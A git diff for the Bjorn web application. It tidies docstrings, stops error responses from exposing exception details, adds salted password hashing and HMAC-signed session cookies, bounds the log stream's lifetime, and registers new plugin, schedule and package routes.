{"status": "error", "message": "Cannot delete built-in actions"} + + script_path = self._resolve_action_path(b_module) + + # Check if running + with self.shared_data.scripts_lock: + if script_path in self.shared_data.running_scripts and \ + self.shared_data.running_scripts[script_path].get("is_running", False): + return {"status": "error", "message": f"Script '{b_class}' is currently running. Stop it first."} + + # Delete file + if os.path.exists(script_path): + os.remove(script_path) + + # Delete from DB + self.shared_data.db.delete_action(b_class) + + return {"status": "success", "message": f"Custom script '{b_class}' deleted."} + except Exception as e: + self.logger.error(f"Error deleting custom script: {e}") + return {"status": "error", "message": str(e)} + def upload_project(self, handler) -> None: """Upload a project with multiple files.""" try: diff --git a/web_utils/sentinel_utils.py b/web_utils/sentinel_utils.py index 8d59062..106adec 100644 --- a/web_utils/sentinel_utils.py +++ b/web_utils/sentinel_utils.py @@ -1,6 +1,4 @@ -""" -Sentinel web API endpoints. -""" +"""sentinel_utils.py - Sentinel web API endpoints.""" import json import logging from typing import Dict @@ -21,7 +19,7 @@ class SentinelUtils: # ── GET endpoints (handler signature) ─────────────────────────────── def get_status(self, handler): - """GET /api/sentinel/status — overall sentinel state + unread count.""" + """GET /api/sentinel/status - overall sentinel state + unread count.""" engine = self._engine if engine: data = engine.get_status() @@ -30,7 +28,7 @@ class SentinelUtils: self._send_json(handler, data) def get_events(self, handler): - """GET /api/sentinel/events — recent events with optional filters.""" + """GET /api/sentinel/events - recent events with optional filters.""" try: from urllib.parse import urlparse, parse_qs qs = parse_qs(urlparse(handler.path).query) @@ -68,7 +66,7 @@ class SentinelUtils: return sql, params def get_rules(self, handler): - """GET /api/sentinel/rules — all rules.""" + """GET /api/sentinel/rules - all rules.""" try: rows = self.shared_data.db.query( "SELECT * FROM sentinel_rules ORDER BY id" @@ -79,7 +77,7 @@ class SentinelUtils: self._send_json(handler, {"rules": []}) def get_devices(self, handler): - """GET /api/sentinel/devices — known device baselines.""" + """GET /api/sentinel/devices - known device baselines.""" try: rows = self.shared_data.db.query( "SELECT * FROM sentinel_devices ORDER BY last_seen DESC" @@ -90,7 +88,7 @@ class SentinelUtils: self._send_json(handler, {"devices": []}) def get_arp_table(self, handler): - """GET /api/sentinel/arp — ARP cache for spoof analysis.""" + """GET /api/sentinel/arp - ARP cache for spoof analysis.""" try: rows = self.shared_data.db.query( "SELECT * FROM sentinel_arp_cache ORDER BY last_seen DESC LIMIT 200" @@ -103,7 +101,7 @@ class SentinelUtils: # ── POST endpoints (JSON data signature) ──────────────────────────── def toggle_sentinel(self, data: Dict) -> Dict: - """POST /api/sentinel/toggle — enable/disable sentinel.""" + """POST /api/sentinel/toggle - enable/disable sentinel.""" enabled = bool(data.get("enabled", False)) self.shared_data.sentinel_enabled = enabled engine = self._engine @@ -115,7 +113,7 @@ class SentinelUtils: return {"status": "ok", "enabled": enabled} def acknowledge_event(self, data: Dict) -> Dict: - """POST /api/sentinel/ack — acknowledge single or all events.""" + """POST /api/sentinel/ack - acknowledge single or all events.""" try: event_id = data.get("id") if data.get("all"): @@ -134,7 +132,7 @@ class SentinelUtils: return {"status": "error", "message": str(e)} def clear_events(self, data: Dict) -> Dict: - """POST /api/sentinel/clear — clear all events.""" + """POST /api/sentinel/clear - clear all events.""" try: self.shared_data.db.execute("DELETE FROM sentinel_events") return {"status": "ok", "message": "Events cleared"} @@ -142,7 +140,7 @@ class SentinelUtils: return {"status": "error", "message": str(e)} def upsert_rule(self, data: Dict) -> Dict: - """POST /api/sentinel/rule — create or update a rule.""" + """POST /api/sentinel/rule - create or update a rule.""" try: rule = data.get("rule", data) if not rule.get("name") or not rule.get("trigger_type"): @@ -182,7 +180,7 @@ class SentinelUtils: return {"status": "error", "message": str(e)} def delete_rule(self, data: Dict) -> Dict: - """POST /api/sentinel/rule/delete — delete a rule.""" + """POST /api/sentinel/rule/delete - delete a rule.""" try: rule_id = data.get("id") if not rule_id: @@ -195,7 +193,7 @@ class SentinelUtils: return {"status": "error", "message": str(e)} def update_device(self, data: Dict) -> Dict: - """POST /api/sentinel/device — update device baseline.""" + """POST /api/sentinel/device - update device baseline.""" try: mac = data.get("mac_address", "").lower() if not mac: @@ -232,7 +230,7 @@ class SentinelUtils: } def get_notifier_config(self, handler) -> None: - """GET /api/sentinel/notifiers — return current notifier config.""" + """GET /api/sentinel/notifiers - return current notifier config.""" cfg = self.shared_data.config notifiers = {} for frontend_key, cfg_key in self._NOTIFIER_KEY_MAP.items(): @@ -242,7 +240,7 @@ class SentinelUtils: self._send_json(handler, {"status": "ok", "notifiers": notifiers}) def save_notifier_config(self, data: Dict) -> Dict: - """POST /api/sentinel/notifiers — save notification channel config.""" + """POST /api/sentinel/notifiers - save notification channel config.""" try: notifiers = data.get("notifiers", {}) cfg = self.shared_data.config @@ -288,7 +286,7 @@ class SentinelUtils: # ── LLM-powered endpoints ──────────────────────────────────────────── def analyze_events(self, data: Dict) -> Dict: - """POST /api/sentinel/analyze — AI analysis of selected events.""" + """POST /api/sentinel/analyze - AI analysis of selected events.""" try: event_ids = data.get("event_ids", []) if not event_ids: @@ -356,7 +354,7 @@ class SentinelUtils: return {"status": "error", "message": str(e)} def summarize_events(self, data: Dict) -> Dict: - """POST /api/sentinel/summarize — AI summary of recent unread events.""" + """POST /api/sentinel/summarize - AI summary of recent unread events.""" try: limit = min(int(data.get("limit", 50)), 100) rows = self.shared_data.db.query( @@ -374,7 +372,7 @@ class SentinelUtils: system = ( "You are a cybersecurity analyst. Summarize the security events below. " "Group by type, identify patterns, flag critical items. " - "Be concise — max 200 words. Use bullet points." + "Be concise - max 200 words. Use bullet points." ) prompt = ( @@ -396,7 +394,7 @@ class SentinelUtils: return {"status": "error", "message": str(e)} def suggest_rule(self, data: Dict) -> Dict: - """POST /api/sentinel/suggest-rule — AI generates a rule from description.""" + """POST /api/sentinel/suggest-rule - AI generates a rule from description.""" try: description = (data.get("description") or "").strip() if not description: diff --git a/web_utils/studio_utils.py b/web_utils/studio_utils.py index 0455871..534d8df 100644 --- a/web_utils/studio_utils.py +++ b/web_utils/studio_utils.py @@ -1,8 +1,4 @@ -# web_utils/studio_utils.py -""" -Studio visual editor utilities. -Handles action/edge/host management for the visual workflow editor. -""" +"""studio_utils.py - Action/edge/host management for the visual workflow editor.""" from __future__ import annotations import json from typing import Any, Dict, Optional diff --git a/web_utils/system_utils.py b/web_utils/system_utils.py index adc5104..1de70c1 100644 --- a/web_utils/system_utils.py +++ b/web_utils/system_utils.py @@ -1,8 +1,4 @@ -# web_utils/system_utils.py -""" -System utilities for management operations. -Handles system commands, service management, configuration. -""" +"""system_utils.py - System commands, service management, and configuration.""" from __future__ import annotations import json import subprocess @@ -73,7 +69,8 @@ class SystemUtils: self.logger.warning(f"Failed to remove {entry.path}: {e}") self._send_json(handler, {"status": "success", "message": "Logs cleared successfully"}) except Exception as e: - self._send_json(handler, {"status": "error", "message": str(e)}, 500) + self.logger.error(f"Error clearing logs: {e}") + self._send_json(handler, {"status": "error", "message": "Internal server error"}, 500) def initialize_db(self, handler): """Initialize or prepare database schema.""" @@ -83,7 +80,8 @@ class SystemUtils: self.shared_data.initialize_statistics() self._send_json(handler, {"status": "success", "message": "Database initialized successfully"}) except Exception as e: - self._send_json(handler, {"status": "error", "message": str(e)}, 500) + self.logger.error(f"Error initializing database: {e}") + self._send_json(handler, {"status": "error", "message": "Internal server error"}, 500) def erase_bjorn_memories(self, handler): """Erase all Bjorn-related memories and restart service.""" @@ -120,7 +118,7 @@ class SystemUtils: handler.end_headers() handler.wfile.write(json.dumps({ "status": "error", - "message": f"Error erasing Bjorn memories: {str(e)}" + "message": "Internal server error" }).encode('utf-8')) def clear_netkb(self, handler, restart=True): @@ -134,7 +132,8 @@ class SystemUtils: self.restart_bjorn_service(handler) self._send_json(handler, {"status": "success", "message": "NetKB cleared in database"}) except Exception as e: - self._send_json(handler, {"status": "error", "message": str(e)}, 500) + self.logger.error(f"Error clearing NetKB: {e}") + self._send_json(handler, {"status": "error", "message": "Internal server error"}, 500) def clear_livestatus(self, handler, restart=True): """Clear live status counters.""" @@ -195,7 +194,7 @@ class SystemUtils: return {"status": "success", "message": "Configuration saved"} except Exception as e: self.logger.error(f"Error saving configuration: {e}") - return {"status": "error", "message": str(e)} + return {"status": "error", "message": "Internal server error"} def serve_current_config(self, handler): """Serve current configuration as JSON (Optimized via SharedData cache).""" @@ -243,10 +242,13 @@ class SystemUtils: handler.send_response(500) handler.send_header("Content-type", "application/json") handler.end_headers() - handler.wfile.write(json.dumps({"status": "error", "message": str(e)}).encode('utf-8')) + handler.wfile.write(json.dumps({"status": "error", "message": "Internal server error"}).encode('utf-8')) def sse_log_stream(self, handler): """Stream logs using Server-Sent Events (SSE).""" + log_file_handle = None + max_lifetime = 1800 # 30 minutes maximum connection lifetime + start_time = time.time() try: handler.send_response(200) handler.send_header("Content-Type", "text/event-stream") @@ -260,24 +262,45 @@ class SystemUtils: handler.wfile.write(b"data: Connected\n\n") handler.wfile.flush() - with open(log_file_path, 'r') as log_file: - log_file.seek(0, os.SEEK_END) - while True: - line = log_file.readline() - if line: - message = f"data: {line.strip()}\n\n" - handler.wfile.write(message.encode('utf-8')) + log_file_handle = open(log_file_path, 'r') + log_file_handle.seek(0, os.SEEK_END) + while True: + # Check maximum connection lifetime + if time.time() - start_time > max_lifetime: + self.logger.info("SSE stream reached maximum lifetime, closing") + try: + handler.wfile.write(b"data: Stream timeout, please reconnect\n\n") handler.wfile.flush() - else: - handler.wfile.write(b": heartbeat\n\n") - handler.wfile.flush() - time.sleep(1) + except Exception: + pass + break - except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError) as e: + line = log_file_handle.readline() + if line: + message = f"data: {line.strip()}\n\n" + else: + message = ": heartbeat\n\n" + + try: + handler.wfile.write(message.encode('utf-8') if isinstance(message, str) else message) + handler.wfile.flush() + except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError, OSError): + self.logger.info("Client disconnected from SSE stream (write failed)") + break + + if not line: + time.sleep(1) + + except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError): self.logger.info("Client disconnected from SSE stream") except Exception as e: self.logger.error(f"SSE Error: {e}") finally: + if log_file_handle is not None: + try: + log_file_handle.close() + except Exception: + pass self.logger.info("SSE stream closed") def _parse_progress(self): @@ -301,7 +324,7 @@ class SystemUtils: "status": self.shared_data.bjorn_orch_status, "status2": self.shared_data.bjorn_status_text2, - # 🟢 PROGRESS — parse "42%" / "" / 0 safely + # 🟢 PROGRESS - parse "42%" / "" / 0 safely "progress": self._parse_progress(), "image_path": "/bjorn_status_image?t=" + str(int(time.time())), @@ -358,7 +381,7 @@ class SystemUtils: # ---------------------------------------------------------------- def epd_get_layout(self, handler): - """GET /api/epd/layout — return current layout JSON. + """GET /api/epd/layout - return current layout JSON. Optional query param: ?epd_type=epd2in7 If provided, returns the layout for that EPD type (custom or built-in) @@ -397,7 +420,7 @@ class SystemUtils: self._send_json(handler, {"status": "error", "message": str(e)}, 500) def epd_save_layout(self, handler, data): - """POST /api/epd/layout — save a custom layout.""" + """POST /api/epd/layout - save a custom layout.""" try: layout = getattr(self.shared_data, 'display_layout', None) if layout is None: @@ -413,7 +436,7 @@ class SystemUtils: self._send_json(handler, {"status": "error", "message": str(e)}, 500) def epd_reset_layout(self, handler, data): - """POST /api/epd/layout/reset — reset to built-in default.""" + """POST /api/epd/layout/reset - reset to built-in default.""" try: layout = getattr(self.shared_data, 'display_layout', None) if layout is None: @@ -426,7 +449,7 @@ class SystemUtils: self._send_json(handler, {"status": "error", "message": str(e)}, 500) def epd_list_layouts(self, handler): - """GET /api/epd/layouts — list available EPD types and their layouts.""" + """GET /api/epd/layouts - list available EPD types and their layouts.""" try: from display_layout import BUILTIN_LAYOUTS result = {} diff --git a/web_utils/vuln_utils.py b/web_utils/vuln_utils.py index 8830d6d..627ecee 100644 --- a/web_utils/vuln_utils.py +++ b/web_utils/vuln_utils.py @@ -1,9 +1,4 @@ -# web_utils/vuln_utils.py -""" -Vulnerability management and CVE enrichment utilities. -Handles vulnerability data, CVE metadata, and enrichment from external sources. -Optimized for low-power devices like Raspberry Pi Zero. -""" +"""vuln_utils.py - Vulnerability data, CVE metadata, and enrichment from external sources.""" from __future__ import annotations import json @@ -545,7 +540,7 @@ class VulnUtils: def _fetch_exploits_for_cve(self, cve_id: str) -> List[Dict[str, Any]]: """Look up exploit data from the local exploit_feeds table. - No external API calls — populated by serve_feed_sync(). + No external API calls - populated by serve_feed_sync(). """ try: rows = self.shared_data.db.query( @@ -576,7 +571,7 @@ class VulnUtils: return [] # ------------------------------------------------------------------ - # Feed sync — called by POST /api/feeds/sync + # Feed sync - called by POST /api/feeds/sync # ------------------------------------------------------------------ # Schema created lazily on first sync @@ -630,7 +625,7 @@ class VulnUtils: logger.debug("Failed to update feed_sync_state for %s", feed, exc_info=True) def serve_feed_sync(self, handler) -> None: - """POST /api/feeds/sync — download CISA KEV + Exploit-DB + EPSS into local DB.""" + """POST /api/feeds/sync - download CISA KEV + Exploit-DB + EPSS into local DB.""" self._ensure_feed_schema() results: Dict[str, Any] = {} @@ -639,7 +634,7 @@ class VulnUtils: kev_count = self._sync_cisa_kev() self._set_sync_state("cisa_kev", kev_count, "ok") results["cisa_kev"] = {"status": "ok", "count": kev_count} - logger.info("CISA KEV synced — %d records", kev_count) + logger.info("CISA KEV synced - %d records", kev_count) except Exception as e: self._set_sync_state("cisa_kev", 0, "error") results["cisa_kev"] = {"status": "error", "message": str(e)} @@ -650,7 +645,7 @@ class VulnUtils: edb_count = self._sync_exploitdb() self._set_sync_state("exploitdb", edb_count, "ok") results["exploitdb"] = {"status": "ok", "count": edb_count} - logger.info("Exploit-DB synced — %d records", edb_count) + logger.info("Exploit-DB synced - %d records", edb_count) except Exception as e: self._set_sync_state("exploitdb", 0, "error") results["exploitdb"] = {"status": "error", "message": str(e)} @@ -661,7 +656,7 @@ class VulnUtils: epss_count = self._sync_epss() self._set_sync_state("epss", epss_count, "ok") results["epss"] = {"status": "ok", "count": epss_count} - logger.info("EPSS synced — %d records", epss_count) + logger.info("EPSS synced - %d records", epss_count) except Exception as e: self._set_sync_state("epss", 0, "error") results["epss"] = {"status": "error", "message": str(e)} @@ -675,7 +670,7 @@ class VulnUtils: }) def serve_feed_status(self, handler) -> None: - """GET /api/feeds/status — return last sync timestamps and counts.""" + """GET /api/feeds/status - return last sync timestamps and counts.""" try: self._ensure_feed_schema() rows = self.shared_data.db.query( diff --git a/web_utils/webenum_utils.py b/web_utils/webenum_utils.py index ff907c6..9befaa6 100644 --- a/web_utils/webenum_utils.py +++ b/web_utils/webenum_utils.py @@ -1,4 +1,4 @@ -# webutils/webenum_utils.py +"""webenum_utils.py - REST utilities for web enumeration data.""" from __future__ import annotations import json import base64 @@ -208,7 +208,7 @@ class WebEnumUtils: where_sql = " AND ".join(where_clauses) - # Main query — alias columns to match the frontend schema + # Main query - alias columns to match the frontend schema results = db.query(f""" SELECT id, diff --git a/webapp.py b/webapp.py index ea8ee65..eecdf5c 100644 --- a/webapp.py +++ b/webapp.py @@ -1,15 +1,14 @@ -""" -Web Application Server for Bjorn -Handles HTTP requests with optional authentication, gzip compression, and routing. -OPTIMIZED FOR PI ZERO 2: Timeouts, Daemon Threads, Memory Protection, and Log Filtering. -""" +"""webapp.py - HTTP server with auth, gzip, and routing for the Bjorn web UI.""" import gzip +import hashlib +import hmac import http.server import io import json import logging import os +import secrets import signal import socket import socketserver @@ -24,6 +23,101 @@ from init_shared import shared_data from logger import Logger from utils import WebUtils + +# ============================================================================ +# AUTH HARDENING — password hashing & signed session tokens +# ============================================================================ + +# Server-wide secret for HMAC-signed session cookies (regenerated each startup) +_SESSION_SECRET = secrets.token_bytes(32) +# Active session tokens (server-side set; cleared on logout) +_active_sessions: set = set() +_session_lock = threading.Lock() + + +def _hash_password(password: str, salt: str = None) -> dict: + """Hash a password with SHA-256 + random salt. Returns {"hash": ..., "salt": ...}.""" + if salt is None: + salt = secrets.token_hex(16) + h = hashlib.sha256((salt + password).encode("utf-8")).hexdigest() + return {"hash": h, "salt": salt} + + +def _verify_password(password: str, stored_hash: str, salt: str) -> bool: + """Verify a password against stored hash+salt.""" + h = hashlib.sha256((salt + password).encode("utf-8")).hexdigest() + return hmac.compare_digest(h, stored_hash) + + +def _make_session_token() -> str: + """Create a cryptographically signed session token.""" + nonce = secrets.token_hex(16) + sig = hmac.new(_SESSION_SECRET, nonce.encode(), hashlib.sha256).hexdigest()[:16] + token = f"{nonce}:{sig}" + with _session_lock: + _active_sessions.add(token) + return token + + +def _validate_session_token(token: str) -> bool: + """Validate a session token is signed correctly AND still active.""" + if not token or ':' not in token: + return False + parts = token.split(':', 1) + if len(parts) != 2: + return False + nonce, sig = parts + expected_sig = hmac.new(_SESSION_SECRET, nonce.encode(), hashlib.sha256).hexdigest()[:16] + if not hmac.compare_digest(sig, expected_sig): + return False + with _session_lock: + return token in _active_sessions + + +def _revoke_session_token(token: str): + """Revoke a session token (server-side invalidation).""" + with _session_lock: + _active_sessions.discard(token) + + +def _ensure_password_hashed(webapp_json_path: str): + """ + Auto-migrate webapp.json on first launch: + if 'password_hash' is absent, hash the plaintext 'password' field, + remove the plaintext, and rewrite the file. + """ + if not os.path.exists(webapp_json_path): + return + try: + with open(webapp_json_path, 'r', encoding='utf-8') as f: + config = json.load(f) + + # Already migrated? + if 'password_hash' in config: + return + + plaintext = config.get('password') + if not plaintext: + return + + # Hash and replace + hashed = _hash_password(plaintext) + config['password_hash'] = hashed['hash'] + config['password_salt'] = hashed['salt'] + # Remove plaintext password + config.pop('password', None) + + with open(webapp_json_path, 'w', encoding='utf-8') as f: + json.dump(config, f, indent=4) + + Logger(name="webapp.py", level=logging.DEBUG).info( + "webapp.json: plaintext password migrated to salted hash" + ) + except Exception as e: + Logger(name="webapp.py", level=logging.DEBUG).error( + f"Failed to migrate webapp.json password: {e}" + ) + # ============================================================================ # INITIALIZATION # ============================================================================ @@ -41,17 +135,20 @@ MAX_POST_SIZE = 5 * 1024 * 1024 # 5 MB max # Global WebUtils instance to prevent re-initialization per request web_utils_instance = WebUtils(shared_data) +# Auto-migrate plaintext passwords to hashed on first launch +_ensure_password_hashed(shared_data.webapp_json) + class CustomHandler(http.server.SimpleHTTPRequestHandler): """ Custom HTTP request handler with authentication, compression, and routing. Refactored to use dynamic routing maps and Pi Zero optimizations. """ - # Routes built ONCE at class level (shared across all requests — saves RAM) + # Routes built ONCE at class level (shared across all requests - saves RAM) _routes_initialized = False GET_ROUTES = {} POST_ROUTES_JSON = {} # handlers that take (data) only - POST_ROUTES_JSON_H = {} # handlers that take (handler, data) — need the request handler + POST_ROUTES_JSON_H = {} # handlers that take (handler, data) - need the request handler POST_ROUTES_MULTIPART = {} def __init__(self, *args, **kwargs): @@ -153,6 +250,11 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): '/api/sentinel/arp': wu.sentinel.get_arp_table, '/api/sentinel/notifiers': wu.sentinel.get_notifier_config, + # PLUGINS + '/api/plugins/list': wu.plugin_utils.list_plugins, + '/api/plugins/config': wu.plugin_utils.get_plugin_config, + '/api/plugins/logs': wu.plugin_utils.get_plugin_logs, + # BIFROST '/api/bifrost/status': wu.bifrost.get_status, '/api/bifrost/networks': wu.bifrost.get_networks, @@ -207,6 +309,8 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): '/upload_files': wu.file_utils.handle_file_upload, '/upload_project': wu.script_utils.upload_project, '/upload_script': wu.script_utils.upload_script, + '/upload_custom_script': wu.script_utils.upload_custom_script, + '/api/plugins/install': wu.plugin_utils.install_plugin, '/clear_actions_file': wu.system_utils.clear_actions_file, '/clear_livestatus': wu.system_utils.clear_livestatus, '/clear_logs': wu.system_utils.clear_logs, @@ -219,7 +323,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): '/reload_generate_actions_json': wu.index_utils.reload_generate_actions_json, } - # --- POST ROUTES (JSON) — data-only handlers: fn(data) --- + # --- POST ROUTES (JSON) - data-only handlers: fn(data) --- cls.POST_ROUTES_JSON = { # WEBENUM # NETWORK @@ -268,6 +372,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): # SCRIPTS '/clear_script_output': wu.script_utils.clear_script_output, '/delete_script': wu.script_utils.delete_script, + '/delete_custom_script': wu.script_utils.delete_custom_script, '/export_script_logs': wu.script_utils.export_script_logs, '/get_script_output': wu.script_utils.get_script_output, '/run_script': wu.script_utils.run_script, @@ -310,6 +415,10 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): '/api/sentinel/analyze': wu.sentinel.analyze_events, '/api/sentinel/summarize': wu.sentinel.summarize_events, '/api/sentinel/suggest-rule': wu.sentinel.suggest_rule, + # PLUGINS + '/api/plugins/toggle': wu.plugin_utils.toggle_plugin, + '/api/plugins/config': wu.plugin_utils.save_config, + '/api/plugins/uninstall': wu.plugin_utils.uninstall_plugin, # BIFROST '/api/bifrost/toggle': wu.bifrost.toggle_bifrost, '/api/bifrost/mode': wu.bifrost.set_mode, @@ -333,6 +442,21 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): # MCP Server '/api/mcp/toggle': wu.llm_utils.toggle_mcp, '/api/mcp/config': wu.llm_utils.save_mcp_config, + # Schedules & Triggers + '/api/schedules/list': wu.schedule_utils.list_schedules, + '/api/schedules/create': wu.schedule_utils.create_schedule, + '/api/schedules/update': wu.schedule_utils.update_schedule, + '/api/schedules/delete': wu.schedule_utils.delete_schedule, + '/api/schedules/toggle': wu.schedule_utils.toggle_schedule, + '/api/triggers/list': wu.schedule_utils.list_triggers, + '/api/triggers/create': wu.schedule_utils.create_trigger, + '/api/triggers/update': wu.schedule_utils.update_trigger, + '/api/triggers/delete': wu.schedule_utils.delete_trigger, + '/api/triggers/toggle': wu.schedule_utils.toggle_trigger, + '/api/triggers/test': wu.schedule_utils.test_trigger, + # Packages + '/api/packages/uninstall': wu.package_utils.uninstall_package, + '/api/packages/list': wu.package_utils.list_packages_json, } if debug_enabled: @@ -341,7 +465,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): '/api/debug/gc/collect': wu.debug_utils.force_gc, }) - # --- POST ROUTES (JSON) — handler-aware: fn(handler, data) --- + # --- POST ROUTES (JSON) - handler-aware: fn(handler, data) --- # These need the per-request handler instance (for send_response etc.) cls.POST_ROUTES_JSON_H = { '/api/bjorn/config': lambda h, d: wu.index_utils.set_config(h, d), @@ -440,12 +564,15 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): def is_authenticated(self): if not self.shared_data.webauth: return True - return self.get_cookie('authenticated') == '1' + token = self.get_cookie('bjorn_session') + return _validate_session_token(token) if token else False def set_cookie(self, key, value, path='/', max_age=None): cookie = cookies.SimpleCookie() cookie[key] = value cookie[key]['path'] = path + cookie[key]['httponly'] = True + cookie[key]['samesite'] = 'Strict' if max_age is not None: cookie[key]['max-age'] = max_age self.send_header('Set-Cookie', cookie.output(header='', sep='')) @@ -492,19 +619,34 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): password = params.get('password', [None])[0] try: - with open(self.shared_data.webapp_json, 'r') as f: + with open(self.shared_data.webapp_json, 'r', encoding='utf-8') as f: auth_config = json.load(f) - expected_user = auth_config['username'] - expected_pass = auth_config['password'] + expected_user = auth_config.get('username', '') except Exception as e: logger.error(f"Error loading webapp.json: {e}") self.send_error(500) return - if username == expected_user and password == expected_pass: + # Verify password: support both hashed (new) and plaintext (legacy fallback) + password_ok = False + if 'password_hash' in auth_config and 'password_salt' in auth_config: + # Hashed password (migrated) + password_ok = _verify_password( + password or '', + auth_config['password_hash'], + auth_config['password_salt'] + ) + elif 'password' in auth_config: + # Legacy plaintext (auto-migrate now) + password_ok = (password == auth_config['password']) + if password_ok: + # Auto-migrate to hashed on successful login + _ensure_password_hashed(self.shared_data.webapp_json) + + if username == expected_user and password_ok: always_auth = params.get('alwaysAuth', [None])[0] == 'on' try: - with open(self.shared_data.webapp_json, 'r+') as f: + with open(self.shared_data.webapp_json, 'r+', encoding='utf-8') as f: config = json.load(f) config['always_require_auth'] = always_auth f.seek(0) @@ -513,11 +655,13 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): except Exception as e: logger.error(f"Error saving auth preference: {e}") + # Create HMAC-signed session token (server-validated) + token = _make_session_token() if not always_auth: - self.set_cookie('authenticated', '1', max_age=30*24*60*60) + self.set_cookie('bjorn_session', token, max_age=30*24*60*60) else: - self.set_cookie('authenticated', '1') - + self.set_cookie('bjorn_session', token) + self.send_response(302) self.send_header('Location', '/') self.end_headers() @@ -527,8 +671,12 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): def handle_logout(self): if not self.shared_data.webauth: self.send_response(302); self.send_header('Location', '/'); self.end_headers(); return + # Server-side session invalidation + token = self.get_cookie('bjorn_session') + if token: + _revoke_session_token(token) self.send_response(302) - self.delete_cookie('authenticated') + self.delete_cookie('bjorn_session') self.send_header('Location', '/login.html') self.end_headers() @@ -538,17 +686,14 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): def log_message(self, format, *args): """ - Intercepte et filtre les logs du serveur web. - On supprime les requêtes répétitives qui polluent les logs. + Filter noisy web server logs. Suppresses repetitive polling requests. """ - # [infinition] Check if web logging is enabled in config if not self.shared_data.config.get("web_logging_enabled", False): return msg = format % args - - # Liste des requêtes "bruyantes" à ne pas afficher dans les logs - # Tu peux ajouter ici tout ce que tu veux masquer + + # High-frequency polling routes to suppress from logs silent_routes = [ "/api/bjorn/stats", "/bjorn_status", @@ -564,11 +709,11 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): "/api/rl/history", ] - # Si l'une des routes silencieuses est dans le message, on quitte la fonction sans rien écrire + # If any silent route matches, skip logging if any(route in msg for route in silent_routes): return - # Pour tout le reste (erreurs, connexions, changements de config), on loggue normalement + # Log everything else (errors, connections, config changes) logger.info("%s - [%s] %s" % ( self.client_address[0], self.log_date_time_string(), @@ -823,6 +968,9 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): elif self.path.startswith('/action_queue'): self.web_utils.netkb_utils.serve_action_queue(self) return + elif self.path.startswith('/api/packages/install'): + self.web_utils.package_utils.install_package(self) + return super().do_GET() @@ -877,7 +1025,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): self.web_utils.system_utils.clear_livestatus(self, restart=restart) return - # Dynamic Dispatch for JSON — data-only handlers + # Dynamic Dispatch for JSON - data-only handlers if self.path in self.POST_ROUTES_JSON: handler = self.POST_ROUTES_JSON[self.path] if callable(handler): @@ -887,7 +1035,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): self._send_json(response, status_code) return - # Dynamic Dispatch for JSON — handler-aware: fn(handler, data) + # Dynamic Dispatch for JSON - handler-aware: fn(handler, data) if self.path in self.POST_ROUTES_JSON_H: handler_fn = self.POST_ROUTES_JSON_H[self.path] if callable(handler_fn): @@ -999,6 +1147,16 @@ class WebThread(threading.Thread): raise RuntimeError(f"Unable to start server after {max_retries} attempts") def run(self): + # Start the script scheduler daemon + try: + from script_scheduler import ScriptSchedulerDaemon + daemon = ScriptSchedulerDaemon(self.shared_data) + self.shared_data.script_scheduler = daemon + daemon.start() + logger.info("ScriptSchedulerDaemon started") + except Exception as e: + logger.warning(f"Failed to start ScriptSchedulerDaemon: {e}") + while not self.shared_data.webapp_should_exit: try: self.httpd = self.setup_server()